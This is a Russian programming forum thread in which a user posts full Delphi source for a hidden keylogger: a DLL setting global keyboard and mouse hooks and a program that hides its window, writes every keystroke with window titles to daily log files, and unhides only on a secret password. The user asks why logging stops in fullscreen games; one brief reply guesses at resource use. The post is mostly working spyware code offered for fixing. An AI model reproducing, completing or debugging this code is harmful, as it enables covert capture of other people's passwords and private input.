0 / 0 / 0
Регистрация: 09.10.2013
Сообщений: 6
1

Что не так с кодом? ( пытаюсь понять, что не так? )

13.10.2013, 22:37. Показов 1858. Ответов 1
Метки нет (Все метки)

Есть исходный код. Hook, работает хорошо, но есть минус огромный - перестаёт писать в лог, при открытии программы\игры Фуллскрином. т.е Программы типа "google chrome", блокнота и.т.д - пишет на ура! Но стоит запустить игру фуллскрином, или другую программу, перестаёт писать, записывает только название окна. Помогите разобрать, какая причина?

.dll

Кликните здесь для просмотра всего текста
Код
library SniffDll;

uses
  WinTypes, WinProcs, Messages;

const
  KeyEvent=WM_USER+1;
  MouseEvent=KeyEvent+1;
  WinTitle='TKeyForm';

var
  HookHandle, MouseHandle: HHOOK;

function KeyHook(code: integer; WParam: word; lParam: Longint): Longint; stdcall;
var
  Wnd: hWnd;
begin
  if (code = HC_ACTION) and (lParam <> lParam or $8000 shl 16)
                      and (lParam <> lParam or $8000 shl 15) then
    begin
      Wnd:=FindWindow(WinTitle, nil);
      SendMessage(Wnd, KeyEvent, wParam, lParam);
    end;
  Result:=CallNextHookEx(HookHandle, code, WParam, lParam);
end;

function MouseHook(code: integer; WParam: word; lParam: Longint): Longint;StdCall;
var
  Wnd: hWnd;
begin
  if (code = HC_ACTION) then
    begin
      Wnd:=FindWindow(WinTitle, nil);
      SendMessage(Wnd, MouseEvent, wParam, lParam);
    end;
  Result:=CallNextHookEx(MouseHandle, code, WParam, lParam);
end;

procedure SetKeyHook; export;
begin
  HookHandle:=SetWindowsHookEx(WH_KEYBOARD, @KeyHook, hInstance, 0);
  MouseHandle:=SetWindowsHookEx(WH_MOUSE, @MouseHook, hInstance, 0);
end;

procedure DelKeyHook; export;
begin
  if HookHandle <> 0 then
    UnhookWindowsHookEx(HookHandle);
  HookHandle:=0;
  if MouseHandle <> 0 then
    UnhookWindowsHookEx(MouseHandle);
  MouseHandle:=0;
  HookHandle:=0;
end;

exports
  SetKeyHook name 'SetKeyHook',
  DelKeyHook name 'DelKeyHook';

begin
end.


/.exe

Кликните здесь для просмотра всего текста
Код
program KeyLogger;

uses
  Messages, Windows;

{$R KeyLogger.res}

const
  IconName='MAINICON';
  KeyEvent=WM_USER+1;
  MouseEvent=KeyEvent+1;
  WinTitle='TKeyForm';
  BuffSize=500;
  Password='STOPSPY';
  Starting='START HOOK';
  Continue='CONTINUE SPY';
  Ending='END HOOK';
  DllName='SniffDll.dll';
  WinActTxt='Window Activated - ''';

type
  LongRec = packed record
    Lo, Hi: Word;
end;

var
  Handle, Button, CWnd, LastWnd: HWND;
  WinClass: TWndClass;
  HLib: THandle;
  Time: SystemTime;
  Minute: word;
  Msg: TMsg;
  FileName: string;
  Cr: array[0..1] of char;
  Buffer: array[0..1000] of char;
  SzKeyName, WindowName: array[0..100] of char;
  SnifF: boolean;
  bPassword: string[Length(Password)];
  AfterCrush: boolean=false;

function SetKeyHook: Longint; external DllName name 'SetKeyHook';
function DelKeyHook: Longint; external DllName name 'DelKeyHook';

procedure HideAsk;
begin
  ShowWindow(Handle, SW_HIDE);
end;

procedure ShowAsk;
begin
  ShowWindow(Handle, SW_SHOW);
end;

procedure RegisterMySelf;
begin
end;

function FileAge(const FileName: string): Integer;
var
  Handle: THandle;
  FindData: TWin32FindData;
  LocalFileTime: TFileTime;
begin
  Handle:=FindFirstFile(PChar(FileName), FindData);
  if Handle <> INVALID_HANDLE_VALUE then
  begin
    Windows.FindClose(Handle);
    if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
    begin
      FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
      if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi,
        LongRec(Result).Lo) then Exit;
    end;
  end;
  Result:=-1;
end;


function FileExists(const FileName: string): Boolean;
begin
  Result:=FileAge(FileName) <> -1;
end;

function StrLen(const Str: PChar): Cardinal; assembler;
asm
  mov edx, edi
  mov edi, eax
  mov ecx, 0FFFFFFFFh
  xor al, al
  repne scasb
  mov eax, 0FFFFFFFEh
  sub eax, ecx
  mov edi, edx
end;

function StrCopy(Dest: PChar; const Source: PChar): PChar; assembler;
asm
  push edi
  push esi
  mov esi, eax
  mov edi, edx
  mov ecx, 0FFFFFFFFh
  xor al, al
  repne scasb
  not ecx
  mov edi, esi
  mov esi, edx
  mov edx, ecx
  mov eax, edi
  shr ecx, 2
  rep movsd
  mov ecx, edx
  and ecx, 3
  rep movsb
  pop esi
  pop edi
end;

function StrEnd(const Str: PChar): PChar; assembler;
asm
  mov edx, edi
  mov edi, eax
  mov ecx, 0FFFFFFFFh
  xor al, al
  repne scasb
  lea eax, [edi-1]
  mov edi, edx
end;

function StrCat(Dest: PChar; const Source: PChar): PChar;
begin
  StrCopy(StrEnd(Dest), Source);
  Result := Dest;
end;

function IntToStr(x: integer): string;
begin
  Str(x, Result);
end;


procedure GenerateFileName;
var
  ST: SystemTime;
begin
  GetLocalTime(ST);
  FileName:=IntToStr(ST.wDay)+'day_'+IntToStr(ST.wMonth)+'month.log';
  if FileExists(FileName) then
    AfterCrush:=true;
end;

procedure EmptyBuffer;
var
  F: File;
begin
  GenerateFileName;
  AssignFile(F, FileName);
  if FileExists(FileName) then
    begin
      Reset(F, 1);
      Seek(F, FileSize(F));
    end
  else
    Rewrite(F, 1);
  BlockWrite(F, Buffer, StrLen(Buffer));
  CloseFile(F);
  FillChar(Buffer, SizeOf(Buffer), chr(0));
end;

procedure SaveData(D: PChar);
begin
  if StrLen(Buffer) < BuffSize
    then
      StrCat(Buffer, D)
    else
      EmptyBuffer;
end;

procedure WriteTime;
var
  K: string[100];
  i: byte;
begin
  if Time.wMinute > 9
  then K:='Time : '''+IntToStr(Time.wHour)+':'+IntToStr(Time.wMinute)+''''
  else K:='Time : '''+IntToStr(Time.wHour)+':0'+IntToStr(Time.wMinute)+'''';
  for i:=1 to Length(K) do
    SzKeyName[i-1]:=K[i];
  SzKeyName[Length(K)]:=chr(0);
  SaveData(SzKeyName);
  FillChar(SzKeyName, SizeOf(SzKeyName), chr(0));
  SaveData(Cr);
end;

procedure CheckTime;
begin
  GetLocalTime(Time);
  if Time.wMinute<>Minute then
    begin
      Minute:=Time.wMinute;
      SaveData(Cr);
      WriteTime;
    end;
end;

procedure CheckTask;
begin
  CWnd:=GetForegroundWindow;
  GetWindowText(CWnd, SzKeyName, SizeOf(SzKeyName));
  if (CWnd <> LastWnd) or (SzKeyName <> WINDOWNAME) then
    begin
      LastWnd:=CWnd;
      WindowName:=SzKeyName;
      GetWindowModuleFileName(CWnd, SzKeyName, SizeOf(SzKeyName));
      if (StrLen(WindowName) <> 0) and (StrLen(SzKeyName) <> 0) then
        begin
          SaveData(Cr);
          SaveData(WinActTxt);
          SaveData(WindowName);
          SaveData(''' in Module : ''');
          SaveData(SzKeyName);
          SaveData(''';');
        end
      else
        if (StrLen(WindowName) = 0) and (StrLen(SzKeyName) <> 0) then
          begin
            SaveData(Cr);
            SaveData(WinActTxt);
            SaveData('Can not detect');
            SaveData(''' in Module : ''');
            SaveData(SzKeyName);
            SaveData(''';');
          end
        else
          begin
            SaveData(Cr);
            SaveData(WinActTxt);
            SaveData(WindowName);
            SaveData(''' in Module : ');
            SaveData('Can not detect');
            SaveData(''';');
          end;
      SaveData(Cr);
      CheckTime;
    end;
  FillChar(SzKeyName, SizeOf(SzKeyName), chr(0));
end;

procedure StartSniff;
begin
  Minute:=100;
  Sniff:=true;
  hLib:=LoadLibrary(DllName);
  SetKeyHook;
  Buffer[0]:=chr(0);
  LastWND:=0;
  WindowName:='';
  CheckTask;
  GenerateFileName;
  FillChar(Buffer, SizeOf(Buffer), chr(0));
  SaveData(Cr);
  if AfterCrush then
    SaveData(Continue)
  else
    SaveData(Starting);
  GetLocalTime(Time);
  Minute:=Time.wMinute;
  WriteTime;
  FillChar(SzKeyName, 100, chr(0));
  bPassword:='';
end;

procedure EndSniff;
begin
  Sniff:=false;
  Minute:=100;
  SaveData(Cr);
  GetLocalTime(Time);
  Minute:=Time.wMinute;
  SaveData(ENDING);
  WriteTime;
  FreeLibrary(hLib);
  DelKeyHook;
  EmptyBuffer;
end;

procedure CheckPassWord(b: Char);
var
  i: byte;
begin
  bPassword:=bPassword + b;
  for i:=1 to Length(bPassword) do
    if bPassword[i] <> Password[i] then
      begin
        bPassword:='';
        break;
      end;
  if Length(bPassword) = Length(Password) then
    ShowAsk;
end;

function WndProc(hnd, wmsg, wparam, lparam: integer): integer; stdcall;
var
  t: string;
begin
  case wmsg of
    WM_COMMAND:
      begin
        if dword(lparam) = button then
          begin
            if Sniff then
              begin
                T:='start spy';
                SendMessage(Button, WM_SETTEXT, 0, integer(T));
                EndSniff;
              end
            else
              begin
                T:='stop spy';
                SendMessage(Button, WM_SETTEXT, 0, integer(T));
                HideAsk;
                StartSniff;
              end;
          end;
      end;
    KeyEvent:
      begin
        GetKeyNameText(lParam, SzKeyName, SizeOf(SzKeyName));
        CheckPassword(chr(wParam));
        SaveData('<');
        SaveData(SzKeyName);
        FillChar(SzKeyName, 100, chr(0));
        SaveData('>');
      end;
    MouseEvent:
      CheckTASK;
    WM_DESTROY:
      begin
        EndSniff;
        EmptyBuffer;
        PostQuitMessage(0);
      end;
    else
      Result:=DefWindowProc(hnd, wmsg, wparam, lparam);
    end;
end;

Procedure CreateMySelf;
var
  T: string;
begin
  with WinClass do
    begin
      lpszClassName:=WinTitle;
      lpfnWndProc:=@WndProc;
      cbClsExtra:=0;
      cbWndExtra:=0;
      hInstance:=hInstance;
      style:=CS_HREDRAW+CS_VREDRAW+CS_DBLCLKS;
      hIcon:=LoadIcon(hInstance, IconName);
      hCursor:=LoadCursor(hInstance, IDC_ARROW);
      hbrBackground:=COLOR_WINDOW;
    end;
  RegisterClass(WinClass);
  Handle:=CreateWindowEx(WS_EX_WINDOWEDGE, WinTitle, 'Key Logger', WS_VISIBLE or WS_MINIMIZEBOX or WS_CAPTION or WS_SYSMENU, integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 170, 63, 0, 0, hInstance, nil);
  Button:=CreateWindowEx(BS_RIGHTBUTTON, 'BUTTON', 'Hook', (WS_TABSTOP or WS_VISIBLE or WS_CHILD), 5, 5, 96, 25, Handle, 0, hInstance, nil);
  T:='stop spy';
  SendMessage(Button, WM_SETTEXT, 0, integer(T));
end;

begin
  CreateMySelf;
  RegisterMySelf;
  Cr:=chr(13)+chr(10);
  FindWindow(WinTitle, nil);
  Sniff:=false;
  StartSniff;
  HideAsk;
  while GetMessage(Msg, 0, 0, 0) do
    begin
      TranslateMessage(Msg);
      DispatchMessage(Msg);
    end;
end.


Не прошу сделать всё за меня. Прошу указать на ошибку, и вариант - как её решить можно было бы). Спасибо.
__________________
Помощь в написании контрольных, курсовых и дипломных работ, диссертаций здесь
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
13.10.2013, 22:37
Ответы с готовыми решениями:

Не могу понять что не так с кодом
randomize ; For v:=1 to 20 Do Begin row:=random(15)+1; game.SetFocus ; ...

Не могу понять,что не так с кодом
#include &lt;iostream&gt; #include &lt;conio.h&gt; #include &lt;vector&gt; using namespace std; class...

Что не так с кодом?
Дорогие форумяне, помогите разобраться... на листе 2 кода. при BRC - один выполняется если лист...

Что не так с кодом?
Задача: дан список с именами людей. Каждое имя написано с маленькой буквы, а последняя буква...

1
Заблокирован
14.10.2013, 09:46 2
Приложение в полном экране забирает все ресурсы себе. Активность всех оконных приложений подавляется. Работают только процессы. Но вы не написали, восстанавливаются ли функкции при выходе из полного экрана.
1
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
14.10.2013, 09:46
Помогаю со студенческими работами здесь

что не так с кодом?
Только начал изучать программирование по книге Прата С. возникли проблемы с упражнениями в конце...

Что не так з кодом?
Что не так? везде код пашет, на этой форме нет.Выкидывает значение парметра, а его не должно быть +...

Что не так с кодом?
Нужно вывести максимальное значение массива, если ввести отрицательные числа, то выводит 0. В чем...

Что не так с кодом?
Буду благодарен помощи. #include &lt;iostream&gt; #include &quot;stdio.h&quot; using namespace std; ...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
2
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2022, CyberForum.ru